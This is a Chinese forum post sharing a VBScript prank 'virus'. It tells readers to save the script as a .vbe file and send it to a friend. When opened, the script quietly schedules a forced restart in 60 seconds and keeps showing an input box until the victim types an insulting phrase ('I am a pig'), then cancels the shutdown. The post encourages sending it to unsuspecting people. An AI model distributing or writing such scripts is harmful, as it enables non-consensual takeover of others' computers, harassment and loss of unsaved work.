把下面的文字复制到记事本内。另存为名字随便你起记住后面的一定要加 .vbe
使用文件传送给朋友只要朋友一打开一分钟就会关机。如上面说的要你说那三个字就不会关机了哈哈大家试试吧。
我真晕死!有些朋友,不相信是真的,自己试自己搞到死机,请看下流言吧!看流言就知道是真是假吧!没必要要试自己!搞到死机!
以下内容跟帖回复才能看到
==============================
on error resume next
dim WSHshellA
set WSHshellA =
wscript.createobject(\\\"wscript.shell\\\")
WSHshellA.run \\\"cmd.exe /c shutdown -r
-t 60 -c \\\"\\\"说我是猪，不说我是猪就一分钟关你机，不信，试试···\\\"\\\" \\\",0 ,true
dim a
do while(a
<> \\\"我是猪\\\")
a = inputbox (\\\"说我是猪,就不关机，快撒，说
\\\"\\\"我是猪\\\"\\\" \\\",\\\"说不说\\\",\\\"不说\\\",8000,7000)
msgbox chr(13) + chr(13) + chr(13) +
a,0,\\\"MsgBox\\\"
loop
msgbox chr(13) + chr(13) + chr(13) + \\\"早说就行了嘛\\\"
dim
WSHshell
set WSHshell = wscript.createobject(\\\"wscript.shell\\\")
WSHshell.run
\\\"cmd.exe /c shutdown -a\\\",0 ,true
msgbox chr(13) + chr(13) + chr(13) +
\\\"哈哈哈哈，真过瘾\\\"
==============================
